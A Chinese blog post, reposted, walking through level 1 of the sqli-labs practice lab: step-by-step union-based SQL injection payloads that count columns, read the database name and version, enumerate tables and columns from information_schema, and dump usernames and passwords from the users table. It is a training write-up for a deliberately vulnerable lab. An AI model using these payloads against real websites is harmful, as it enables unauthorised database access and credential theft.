码迷,mamicode.com
首页 > 数据库 > 详细

sqli-labs 第一关

时间:2020-10-06 20:29:50      阅读:36      评论:0      收藏:0      [点我收藏+]

标签:使用   出现   rom   字段名   特点   知识点   构造   username   form   

 

一。

先判断是否为字符型注入,尝试?id=1‘

技术图片

 

 发现有报错,此题为字符型注入

拼接字符串?id=1‘ and  ‘1‘=‘1 

技术图片

 

 回显正常

然后我们用order by 来确定表中的列数,使用union

联合查询特点:

1、要求多条查询语句的查询列数是一致的!
2、要求多条查询语句的查询的每一列的类型和顺序最好一致
3、union关键字默认去重,如果使用union all 可以包含重复项

于是我们构造?id=1‘ and ‘1‘=‘1‘ order by 1--+  页面回显正常

      ?id=1‘ and ‘1‘=‘1‘ order by 2--+  页面回显正常

      ?id=1‘ and ‘1‘=‘1‘ order by 3--+  页面回显正常

      ?id=1‘ and ‘1‘=‘1‘ order by 4--+  出现报错界面

技术图片

 

于是确定了字段数,用联合查询?id=-1‘ union select 1,2,3--+  (将id弄成一个负数的值,使前面的语句失效,后面的查询语句生效)看union的查询有没有回显位。

技术图片

 

 看到了2,3回显位

然后我们利用union查询,查看数据库的版本和数据库名,这里面我们再补充点知识点

version():查看数据库版本

database():查看使用的数据库

user():查看当前用户

limit:limit子句分批来获取所有数据

group_concat():一次性获取所有的数据库信息

当我们简单了解了这个之后,我们再进行下面的步骤,相信大家有了深刻的理解

接下来利用这两个回显位来查询数据库,和数据库版本信息

?id=-1‘ union select 1,database(),version()--+

技术图片

 

 

然后我们知道了数据库是security,版本信息:5.7.26

再爆表之前我们先了解一波知识点:

information_schema.tables:包含了数据库里所有的表

table_name:表名

table_schema:数据库名

column_name:字段名

然后我们利用union查询来爆出表名

?id=-1‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

技术图片

 

 于是我们看users表的字段名

?id=-1‘ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users‘--+

 

技术图片

 

 

我们看到了username和password字段,

然后我们就去查询字段信息

?id=-1‘ union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+

 技术图片

 

sqli-labs 第一关

标签:使用   出现   rom   字段名   特点   知识点   构造   username   form   

原文地址:https://www.cnblogs.com/tac2664/p/13772176.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!